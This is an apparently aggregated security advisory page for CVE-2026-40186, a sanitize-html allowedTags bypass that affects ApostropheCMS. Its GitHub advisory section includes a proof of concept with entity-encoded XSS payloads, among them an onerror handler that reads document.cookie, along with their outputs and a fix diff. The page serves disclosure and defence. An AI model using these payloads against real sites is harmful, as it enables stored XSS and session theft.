ApostropheCMS: sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-40186
PublishedApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.
- Source published
- 15 Apr 2026 20:15:12 UTC
- Source modified
- 16 Apr 2026 14:15:41 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
euvd · EUVD-2026-23110
PublishedApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 15, 2026, 8:15:12 PM
dateUpdated: Apr 16, 2026, 2:15:41 PM
- Source published
- Apr 15, 2026, 8:15:12 PM (timezone not stated)
- Source modified
- Apr 16, 2026, 2:15:41 PM (timezone not stated)
- Observed here
- 28 Oct 2026 05:01:15 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvd · CVE-2026-40186
PublishedApostropheCMS is an open-source Node.js content management system. A regression introduced in commit 49d0bb7, included in versions 2.17.1 of the ApostropheCMS-maintained sanitize-html package bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). ApostropheCMS version 4.28.0 is affected through its dependency on the vulnerable sanitize-html version. The code at packages/sanitize-html/index.js:569-573 incorrectly assumes that htmlparser2 does not decode entities inside these elements and skips escaping, but htmlparser2 10.x does decode entities before passing text to the ontext callback. As a result, entity-encoded HTML is decoded by the parser and then written directly to the output as literal HTML characters, completely bypassing the allowedTags filter. An attacker can inject arbitrary tags including XSS payloads through any allowed option or textarea element using entity encoding. This affects non-default configurations where option or textarea are included in allowedTags, which is common in form builders and CMS platforms. This issue has been fixed in version 2.17.2 of sanitize-html and 4.29.0 of ApostropheCMS.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-79
Original publisher date fields
published: 2026-04-15T21:17:27.523
lastModified: 2026-10-26T21:10:00.170
2 source CPE criteria · context only
- cpe:2.3:a:apostrophecms:apostrophecms:4.29.0:*:*:*:*:*:*:*
- cpe:2.3:a:apostrophecms:sanitize-html:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 15 Apr 2026 21:17:27 UTC
- Source modified
- 26 Oct 2026 21:10:00 UTC
- Observed here
- 27 Oct 2026 10:09:56 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
osv · GHSA-9mrh-v2v3-xpfm
Published## Summary Commit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration. ## Details The vulnerable code is at `packages/sanitize-html/index.js:569-573`: ```javascript } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { // htmlparser2 does not decode entities inside raw text elements like // textarea and option. The text is already properly encoded, so pass // it through without additional escaping to avoid double-encoding. result += text; } ``` The comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `<textarea>` and `<option>` elements before passing text to the `ontext` callback. This can be verified: ```javascript const htmlparser2 = require('htmlparser2'); const parser = new htmlparser2.Parser({ ontext(text) { console.log(JSON.stringify(text)); } }); parser.write('<option><script></option>'); // Outputs: "<", "script", ">" — entities are decoded ``` Because the code assumes the text is "already properly encoded" and skips `escapeHtml()`, the decoded entities (`<`, `>`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter — any tag can be injected inside an allowed `option` or `textarea` element using entity encoding. The execution flow: 1. Attacker submits: `<option><img src=x onerror=alert(1)></option>` 2. htmlparser2 parses and decodes entities → `ontext` receives `<img src=x onerror=alert(1)>` 3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` → true 4. Line 573: `result += text` — writes decoded text directly without escaping 5. Output: `<option><img src=x onerror=alert(1)></option>` — `<img>` tag injected despite not being in `allowedTags` The `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user. Prior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities. ## PoC **Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`. **Step 1: Basic tag injection via option** ```javascript const sanitize = require('sanitize-html'); const output = sanitize( '<option><script>alert(1)</script></option>', { allowedTags: ['option'] } ); console.log(output); // Expected (safe): <option><script>alert(1)</script></option> // Actual (vulnerable): <option><script>alert(1)</script></option> ``` **Step 2: Element breakout with XSS event handler** ```javascript const output2 = sanitize( '<option></option><img src=x onerror=alert(document.cookie)></option>', { allowedTags: ['option'] } ); console.log(output2); // Output: <option></option><img src=x onerror=alert(document.cookie)></option> // The <img> tag escapes the option context and executes the onerror handler ``` **Step 3: Textarea breakout (also vulnerable)** ```javascript const output3 = sanitize( '<textarea></textarea><img src=x onerror=alert(1)></textarea>', { allowedTags: ['textarea'] } ); console.log(output3); // Output: <textarea></textarea><img src=x onerror=alert(1)></textarea> ``` **Step 4: Full select/option context breakout** ```javascript const output4 = sanitize( '<select><option></option></select><img src=x onerror=alert(1)></option></select>', { allowedTags: ['select', 'option'] } ); console.log(output4); // Output: <select><option></option></select><img src=x onerror=alert(1)></option></select> // Breaks out of both option and select elements ``` All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x. ## Impact - **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html. - **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens. - **Scope**: Affects non-default configurations only — the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content. ## Recommended Fix Remove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded). ```diff --- a/packages/sanitize-html/index.js +++ b/packages/sanitize-html/index.js @@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) { // your concern, don't allow them. The same is essentially true for style tags // which have their own collection of XSS vectors. result += text; - } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { - // htmlparser2 does not decode entities inside raw text elements like - // textarea and option. The text is already properly encoded, so pass - // it through without additional escaping to avoid double-encoding. - result += text; } else if (!addedText) { const escaped = escapeHtml(text, false); if (options.textFilter) { ``` This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.
- Source published
- 16 Apr 2026 21:08:29 UTC
- Source modified
- 16 Apr 2026 21:26:28 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Publisher rating · MODERATE